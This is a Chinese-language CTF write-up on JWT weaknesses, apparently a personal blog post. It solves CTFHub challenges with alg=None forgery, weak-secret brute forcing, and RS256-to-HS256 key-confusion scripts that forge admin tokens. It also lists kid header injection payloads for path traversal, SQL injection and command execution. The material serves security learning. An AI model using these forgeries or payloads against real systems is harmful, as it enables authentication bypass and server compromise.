Json Web Token (JWT), 是为了在网络应用环境间传递声明而执行的一种基于JSON的开放标准。
JWT的声明一般被用来在身份提供者和服务提供者间传递被认证的用户身份信息,以便于从资源服务器获取资源,也可以增加一些额外的其它业务逻辑所必须的声明信息,该token也可直接被用于认证,也可被加密。
客户端与服务器通信时,身份验证通过后服务端会生成返回一个带有签名的JSON对象。客户端储存该对象并在之后的通信中附加上此JSON对象用以身份认证。
JWT与session的不同
1.session用作身份认证时服务器会生成一个sessionID并返回,客户端一般在cookie中保存这个sessionID。而session储存的会话信息则保存在服务端,每次用户查询时依赖sessionID查看储存的会话相关信息,这样随着认证的用户越来越多会对服务器造成极大的压力。
2.JWT则仅仅储存在用户本地,服务端收到带有JWT的请求时会对其中的签名进行校验来判断请求身份的合法性,服务器不保存会话相关数据,本质上是一种cpu换取储存空间的行为,减少了服务端的存储压力。
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
jwt是个字符串,由三部分header,payload,signature组成,每个部分以.
分隔。简单来看就是
Header.Payload.Signature
头部主要储存两部分信息
Payload 部分也是一个 JSON 对象,用来存放实际需要传递的信息。信息分为三个种类
官方声明包含七个部分
公共声明
公共的声明可以添加任何的信息,一般添加用户的相关信息或其他业务需要的必要信息。
此部分可以在客户端被解码为明文,所以不建议储存敏感信息。
将上面的第二部分解码后,可以看到name
即用户自定的信息
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022
}
Signature 部分是对前两部分的签名,防止数据篡改。
指定一个只有服务端知道的密钥后,按照header部分指明的算法对前两部分的Base64内容加密,算法如下
// javascript
var encodedString = base64UrlEncode(header) + '.' + base64UrlEncode(payload);
var signature = HMACSHA256(encodedString, 'secret');
顾名思义就是Jwt经过Base64解码后的明文中存在敏感信息
这里以CTFHub的题目为例
登录后可以看出身份认证的字段为JWT形式
解码后即可得到flag
JWT支持空加密算法,在header的alg字段设置为None并将signature字段设置为空。
node的jsonwentoken库已知缺陷:当jwt的secret为null或undefined时,jsonwebtoken会采用algorithm为none进行验证
同样以一道CTFhub的题目为例
登录后服务器返回JWT字段,并向/index.php发出请求,带上刚刚登录获得的JWT字段
登录后显示
提示要以admin的身份登录
对JWT解码查看内容
这里直接修改role内容会爆出302错误,所以先修改alg字段为None,再设置signature为空
因为https://jwt.io/#debugger不支持生成alg为None的JWT,所以采用PyJWT
生成
import jwt
if __name__ == '__main__':
dic = {
"username": "kit",
"password": "123",
"role": "admin"
}
s = jwt.encode(dic,algorithm="none",key="")
print(s)
# eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImtpdCIsInBhc3N3b3JkIjoiMTIzIiwicm9sZSI6ImFkbWluIn0.
如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥
爆破工具:
c-jwt-cracker这个工具好像只能字符序列穷举爆破
JWTPyCrack可以实现从字典中提取key并进行爆破
也可以自己写脚本利用PyJWT
根据不同key生成jwt字段并比较。
使用JWTPyCrack工具有个坑,安装的PyJWT必须是1.7.1之前版本,之后的版本修改了jwt.decode函数会报错
pip install pyjwt==1.7.1
爆破语句
python jwtcrack.py -m blasting -s eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.BjioeRRMXdEadknYF5ujoLTZ9WhaFXCI2OdmEUangDk --kf D:\web\tool\JWTPyCrack\dic.txt
换了几个字典,没爆破出来…
还得用c-jwt-cracker去穷举
爆破出秘钥后直接替换admin并生成就可以得到flag
JWT中最常用的两种算法为HMAC
和RSA
HMAC(HS256):是一种对称加密算法,使用公共密钥对每条消息进行签名和验证
RSA(RS256):是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
将算法从非对称算法修改为对称算法以后,那么原本只有窃取到服务端私钥,利用私钥加密的signature便可以通过公钥进行加密。而公钥是客户端有可能获取的,从而实现伪造JWT。
同样以CTFHub的题目为例
进入题目可以看到源码
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<title>CTFHub JWTDemotitle>
<link rel="stylesheet" href="/static/style.css" />
head>
<body>
<main id="content">
<header>Web Loginheader>
<form id="login-form" method="POST">
<input type="text" name="username" placeholder="Username" />
<input type="password" name="password" placeholder="Password" />
<input type="submit" name="action" value="Login" />
form>
<a href="/publickey.pem">publickey.pema>
main>
<hr/>
body>
html>
JWT处理相关代码
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;
class JWTHelper {
public static function encode($payload=array(), $key='', $alg='HS256') {
return JWT::encode($payload, $key, $alg);
}
public static function decode($token, $key, $alg='HS256') {
try{
$header = JWTHelper::getHeader($token);
$algs = array_merge(array($header->alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!empty($_POST['username']) && !empty($_POST['password'])) {
$token = "";
if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'admin',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
} else {
$jwt_payload = array(
'username' => $_POST['username'],
'role'=> 'guest',
);
$token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
}
@setcookie("token", $token, time()+1800);
header("Location: /index.php");
exit();
} else {
@setcookie("token", "");
header("Location: /index.php");
exit();
}
} else {
if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
$obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
if ($obj->role === 'admin') {
echo $FLAG;
}
} else {
show_source(__FILE__);
}
}
直接看echo $FLAG语句的条件,当请求方法不为POST进入else分支。Cookie中token字段不为空,而且JWTHelper
的decode
方法对jwt进行解码后role字段为admin就会弹出flag。
接下来看decode方法,使用getHeader
获得jwt的header部分,并且从header中获取使用的算法。所以我们可以构造一个HS256的jwt,同时利用页面提供的公钥文件进行加密以通过验证。
这里如果采用python脚本构造的话可能会报错,jwt.exceptions.InvalidKeyError: The specified key is an asymmetric key or x509 certificate and should not be used as an HMAC secret.
提供的密钥是非对称密钥无法用于对称加密算法。
大概搜索了一下解决方法jwt-encoding-using-hmac-with-asymmetric-key-as-secret看回答说是要用很早之前的pyjwt库才可以。所以这里直接本地搭建题目相同的php环境来生成jwt。
composer require firebase/php-jwt
本地代码
alg, $alg));
return JWT::decode($token, $key, $algs);
} catch(Exception $e){
return false;
}
}
public static function getHeader($jwt) {
$tks = explode('.', $jwt);
list($headb64, $bodyb64, $cryptob64) = $tks;
$header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
return $header;
}
}
$PUBLIC_KEY = file_get_contents("./publickey.pem");
// 测试解密
$encodejwt = 'eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJndWVzdCJ9.tUtCTMPsSqAy9kv47OhDneYfeBfYiELXkM7pPa4h1TlYihj_B9yy3vtMH4s8bXeeV4AJOeFsqTIM_18C7cfclsm7xCyNy5uQtRu3uQBO_8huUcKhjzWovfZ6pM_GJKha5LHFNqji0dawc4cy7GGOau7aR9GAPip8UHTiUqdn26-33VfNQ9xuV7l34SPxd9D1kxFFcUoDC1bVOHveN0TAW0_FjNijhOk4dqtlGV4uYnYFa1tWMQhaiwaw2A4e7EEJiDNCZD9uTdPUBh6H8lQMR0QFfLGHD4qAN8nzO-G5PlXkxOskGHMjnI1sXnsEl7s1lacS7Kb6HdyPn3NaU0xVUA';
$decoderjwt =JWTHelper::decode($encodejwt, $PUBLIC_KEY,'RS256');
var_dump($decoderjwt);
// 测试结果
// object(stdClass)#4 (2) { ["username"]=> string(3) "kit" ["role"]=> string(5) "guest" }
// 生成payload
$jwt_payload = array(
'username' => 'kit',
'role' => 'admin',
);
$token = JWTHelper::encode($jwt_payload,$PUBLIC_KEY,'HS256');
echo $token."
";
// 测试生成的payload
if(JWTHelper::decode($token,$PUBLIC_KEY)!=false){
$res = JWTHelper::decode($token,$PUBLIC_KEY);
if($res->role === 'admin'){
echo "get flag";
}
}
// 生成和测试的结果
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtpdCIsInJvbGUiOiJhZG1pbiJ9.uTl0zwSzDdJNd4VcTbamqZNn1bspovSx4CgHffvkUVk
get flag
kid是jwt header中的一个可选参数,全称是key ID
,它用于指定加密算法的密钥。我们可以通过修改kid参数进行目录遍历、sql注入、命令注入等攻击
#目录遍历
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/etc/passwd"
}
#sql注入
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "aaaaaaa' UNION SELECT 'key';-- "
#命令执行
{
"alg" : "HS256",
"typ" : "jwt",
"kid" : "/path/to/key_file|whoami"
}
类似于kid ,可以由用户进行输入,如果没有经过严格过滤,就可以指定一组自定义的密钥文件,并指定web应用使用该组密钥来验证token。
JKU全称是“JWKSet URL”,它是头部的一个可选字段,用于指定链接到一组加密token密钥的URL。若允许使用该字段且不设置限定条件,攻击者就能托管自己的密钥文件,并指定应用程序,用它来认证token。
XSU头部参数允许攻击者用于验证Token的公钥证书或证书链
参考文章:
https://www.wolai.com/ctfhub/hcFRbVUSwDUD1UTrPJbkob
https://jwt.io/#debugger
https://xz.aliyun.com/t/9376#toc-4
https://github.com/brendan-rius/c-jwt-cracker